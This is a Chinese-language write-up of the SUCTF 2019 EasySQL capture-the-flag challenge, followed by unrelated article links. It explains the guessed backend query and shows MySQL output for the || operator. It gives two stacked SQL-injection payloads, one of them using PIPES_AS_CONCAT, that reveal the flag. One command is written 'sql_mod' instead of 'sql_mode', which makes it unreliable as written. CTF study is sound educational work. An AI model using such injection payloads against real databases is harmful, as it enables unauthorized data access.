这个题目搞了我好久,由于本人基础不扎实,试了好多方法,只发现有三种情况

Nonono、无返回结果和有返回

然后使用了新学习的堆叠注入,得到了数据库名和表名





想要查看Flag表的字段内容也查看不了





这里我就无计可施了,到底是怎么回事?

观看了大佬的WP,原来是这样

根据猜解,后端的语句是

select $_POST['query'] || flag from Flag;

所以一切的原理就出啦了

mysql> select 0 || 'flag';
+-------------+
| 0 || 'flag' |
+-------------+
| 0 |
+-------------+
1 row in set, 1 warning (0.00 sec) mysql> select 1 || 'flag';
+-------------+
| 1 || 'flag' |
+-------------+
| 1 |
+-------------+
1 row in set (0.00 sec) mysql> select 2 || 'flag';
+-------------+
| 2 || 'flag' |
+-------------+
| 1 |
+-------------+
1 row in set (0.00 sec) mysql> select 'a' || 'flag';
+---------------+
| 'a' || 'flag' |
+---------------+
| 0 |
+---------------+
1 row in set, 2 warnings (0.00 sec)

所以这里只有非零数字和flag或(or、||)运算才可以返回真,才会有返回结果

那么Nonono就是我们传入的关键字被过滤了,这样都理解了。

那么如何绕过这个注入,才是关键。

方法一:

payload

1;select *,1
和SQL语句拼接后
select *,1 || flag from Flag

1和flag的结果是1,然后语句就成为了

select *,1 from Flag*是数据库全部内容的意思,所以得到flag

flag{2231a903-6115-4dcc-8c0f-3d6086b54819}

方法二

大佬给出了一个关键的MySQL配置sql_mod

SQL_MOD:是MySQL支持的基本语法、校验规则

其中PIPES_AS_CONCAT:会将||认为字符串的连接符,而不是或运算符,这时||符号就像concat函数一样。

mysql> set sql_mode=PIPES_AS_CONCAT;
Query OK, 0 rows affected (0.00 sec) mysql>
mysql> select 1 || 'flag';
+-------------+
| 1 || 'flag' |
+-------------+
| 1flag |
+-------------+
1 row in set (0.00 sec) mysql> select 'a' || 'flag';
+---------------+
| 'a' || 'flag' |
+---------------+
| aflag |
+---------------+
1 row in set (0.00 sec)

所以只需要更改SQL_mod配置,然后随便查询一个值就可以得到flag

payload:

1;set sql_mod=PIPES_AS_CONCAT;select 1
插入SQL语句就成为
select concat(1,flag) from Flag;

成功得到flag

[SUCTF 2019]EasySQL 1的更多相关文章

  1. 刷题记录:[SUCTF 2019]EasySQL

    目录 刷题记录:[SUCTF 2019]EasySQL 一.涉及知识点 1.堆叠注入 2.set sql_mode=PIPES_AS_CONCAT;将||视为字符串的连接操作符而非或运算符 3.没有过 ...

  2. BUUCTF | [SUCTF 2019]EasySQL (堆叠注入)

    fuzz ing了一下,发现了一堆过滤: 同时发现了注入点,这个应该是var_dump()函数 ===============第二天的分割线 好吧我放弃了,找了一下wp 正确解:select 1;se ...

  3. [SUCTF 2019]EasySQL(堆叠注入配合sql_mode)

    考点:1.堆叠注入 2.set sql_mode=PIPES_AS_CONCAT;将||视为字符串的连接操作符而非或运算符 意外:注入* 复现: 1;set sql_mode=PIPES_AS_CON ...

  4. BUUCTF [SUCTF 2019]EasySQL

    首先打开网址 发现有三种显示方法 还有一个没有输出 可以堆叠注入 1;show databases; 1;show tables; 可以看到有一个Flag表 测试发现from flag都被过滤不能直接 ...

  5. 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)

    目录 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP) 一.涉及知识点 1.无数字字母shell 2.利用.htaccess上传文件 3.绕过open_basedir/disable ...

  6. 刷题记录:[SUCTF 2019]Pythonginx

    目录 刷题记录:[SUCTF 2019]Pythonginx 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 2.Nginx重要文件位置 二.解题方法 刷题记录 ...

  7. 刷题记录:[SUCTF 2019]CheckIn

    目录 刷题记录:[SUCTF 2019]CheckIn 一.涉及知识点 1.利用.user.ini上传\隐藏后门 2.绕过exif_imagetype()的奇技淫巧 二.解题方法 刷题记录:[SUCT ...

  8. SUCTF 2019 Upload labs 2 踩坑记录

    SUCTF 2019 Upload labs 2 踩坑记录 题目地址 : https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload La ...

  9. [原题复现]SUCTF 2019 WEB EasySQL(堆叠注入)

    简介  原题复现: 1 <?php 2 session_start(); 3 4 include_once "config.php"; 5 6 $post = array() ...

  10. [SUCTF 2019]Pythonginx

    贴出源码 @app.route('/getUrl', methods=['GET', 'POST']) def getUrl(): url = request.args.get("url&q ...

随机推荐

  1. linux Qt编译自己的动态库(.so),详细全流程

    本篇记录Qt编译动态库全流程 1. 建立工程 首先,打开Qt,新建C++ Library 工程 点击choose之后,输入项目名称为Example,一直下一步即可 生成的项目里边有三个文件,分别是ex ...

  2. lvm 扩容操作

    lsblk查看sda分区信息: 查看vgroot大小: sda磁盘447G,vgroot用300G左右而已,如果分区vg不足,需要手动进行扩容操作: 1.  首先新建一个sda4分区: 默认的地方直接 ...

  3. 启动 RMAN 客户端并与之交互

    启动和退出 RMAN RMAN 可执行文件与数据库一起自动安装,通常与其他数据库可执行文件位于同一目录中.例如,Linux 上的 RMAN 客户端位于$ORACLE_HOME/bin. 您有以下启动 ...

  4. java stream map和 flatmap区别

    区别:map mapper返回R,flatMap mapper返回Stream<R> 官网解释 1,<R>Stream<R> flatMap(Function< ...

  5. [336] Prelude PTS OpCodes

    [336] Prelude PTS Client 00 SendProtocolVersion 01 MoveBackwardToLocation 02 Say 03 RequestEnterWorl ...

  6. 前端面试问题整理(html和css部分)

    html5新增属性有哪些? 如何理解语义化标签? 你如何看待前端模块化的? 如何看待前后端分离? 浏览器兼容性问题? 你知道的行内元素.块级元素有哪些? css部分: 1.为什么要初始化css样式? ...

  7. 在VUE里实现一个简单的中国地图

    如何在vue里面实现一个简单的中国地图,并且实现一些简单的个性化修改. 下面是最终实现的效果图.透明的地图加一个背景图. 1.在你的项目里安装echarts的依赖 npm install echart ...

  8. sql:常用:group by 多个字段

    首先group by 的简单说明:   group by 一般和聚合函数一起使用才有意义,比如 count sum avg等,使用group by的两个要素:   (1) 出现在select后面的字段 ...

  9. AX2012 循环读取DataSource的记录

    static void LoopFormDataSource(Args _args) { FormDataSource formDataSource; SalesLine salesLineSel, ...

  10. howork7

    " 形式化方法   阅读了解形式化方法形式化方法|形式化方法对软件开发的挑战:历史与发展 根据表达能力,形式化方法可以分为五类: 1)基于模型的方法:通过明确定义状态和操作来建立一个系统模型 ...